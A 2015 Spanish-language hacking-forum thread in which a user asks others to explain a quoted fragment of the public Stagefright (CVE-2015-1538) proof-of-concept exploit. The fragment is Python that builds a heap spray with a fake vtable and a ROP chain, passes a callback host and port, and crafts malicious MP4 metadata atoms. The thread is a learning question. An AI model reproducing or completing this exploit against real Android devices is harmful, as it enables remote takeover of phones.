elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking (Moderador: toxeek)
| | |-+  Stagefright exploit ayuda
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Stagefright exploit ayuda  (Leído 2,436 veces)
patilanz


Desconectado Desconectado

Mensajes: 481

555-555-0199@example.com


Ver Perfil WWW
Stagefright exploit ayuda
« en: 11 Septiembre 2015, 20:43 pm »

Hola estoy intentado entender el código de https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/

No entiendo esta parte

Código
  1.    # Spray the heap using a large tx3g chunk (can contain binary data!)
  2.    """
  3.       0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>:   ldr r4, [r0, #4]  ; load mRefs
  4.       0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>:   mov r5, r0
  5.       0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>:   mov r6, r1
  6.       0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>:   mov r0, r4
  7.       0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>:  blx 0x40069884    ; atomic_decrement
  8.       0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>:  cmp r0, #1        ; must be 1
  9.       0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>:  bne.n   0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>
  10.       0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>:  ldr r0, [r4, #8]  ; load refs->mBase
  11.       0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>:  ldr r1, [r0, #0]  ; load mBase._vptr
  12.       0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>:  ldr r2, [r1, #12] ; load method address
  13.       0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>:  mov r1, r6
  14.       0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>:  blx r2            ; call it!
  15.    """
  16.    page = ''
  17.    off = 0  # the offset to the next object
  18.    off += 8
  19.    page += struct.pack('<L', sp_addr + 8 + 16 + 8 + 12 - 28)    # _vptr.RefBase (for when we smash mDataSource)
  20.    page += struct.pack('<L', sp_addr + off) # mRefs
  21.    off += 16
  22.    page += struct.pack('<L', 1)             # mStrong
  23.    page += struct.pack('<L', 0xc0dedbad)    # mWeak
  24.    page += struct.pack('<L', sp_addr + off) # mBase
  25.    page += struct.pack('<L', 16)            # mFlags (dont set OBJECT_LIFETIME_MASK)
  26.    off += 8
  27.    page += struct.pack('<L', sp_addr + off) # the mBase _vptr.RefBase
  28.    page += struct.pack('<L', 0xf00dbabe)    # mBase.mRefs (unused)
  29.    off += 16
  30.    page += struct.pack('<L', 0xc0de0000 + 0x00)  # vtable entry 0
  31.    page += struct.pack('<L', 0xc0de0000 + 0x04)  # vtable entry 4
  32.    page += struct.pack('<L', 0xc0de0000 + 0x08)  # vtable entry 8
  33.    page += struct.pack('<L', newpc_val)          # vtable entry 12
  34.    rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
  35.    x = len(page)
  36.    while len(page) < 4096:
  37.        page += struct.pack('<L', 0xf0f00000+x)
  38.        x += 4
  39.  
  40.    off = 0x34
  41.    page = page[:off] + rop + page[off+len(rop):]
  42.    spray = page * (((2*1024*1024) / len(page)) - 20)
  43.    moov_data += make_chunk('tx3g', spray)
  44.    block = 'A' * 0x1c
  45.    bigger = 'B' * 0x40
  46.    udta = make_chunk('udta',
  47.        make_chunk('meta',
  48.            struct.pack('>L', 0) +
  49.            make_chunk('ilst',
  50.                make_chunk('cpil',    make_chunk('data', struct.pack('>LL', 21, 0) + 'A')) +
  51.                make_chunk('trkn',    make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABBBB')) +
  52.                make_chunk('disk',    make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABB')) +
  53.                make_chunk('covr',    make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 +
  54.                make_chunk('\xa9alb', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  55.                make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  56.                make_chunk('aART',    make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  57.                make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  58.                make_chunk('\xa9nam', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  59.                make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
  60.                make_chunk('gnre',    make_chunk('data', struct.pack('>LL', 1, 0) + block)) +
  61.                make_chunk('covr',    make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 +
  62.                make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) +
  63.                make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) +
  64.                make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)))
  65.            )
  66.        )
  67.    moov_data += udta


Alguien que ha mirando un poco el código me lo puede aclarar?

Gracias
« Última modificación: 11 Septiembre 2015, 22:19 pm por patilanz » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Stagefright' Android bug
Dispositivos Móviles (PDA's, Smartphones, Tablets)
sn0wblu3 2 2,850 Último mensaje 29 Julio 2015, 16:38 pm
por Sacopapas
Lista de fabricantes que solucionarán Stagefright, el problema de Android
Noticias
wolfbcn 0 1,804 Último mensaje 10 Agosto 2015, 02:02 am
por wolfbcn
Liberan el exploit Stagefright para ayudar a combatirlo
Noticias
wolfbcn 0 1,132 Último mensaje 11 Septiembre 2015, 02:12 am
por wolfbcn
tonteando con metaphor y stagefright
Bugs y Exploits
hckcrck 1 13,779 Último mensaje 24 Septiembre 2016, 15:39 pm
por nielo22
Como usar stagefright?
Bugs y Exploits
nielo22 2 5,073 Último mensaje 16 Diciembre 2016, 17:27 pm
por OscarXirau
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines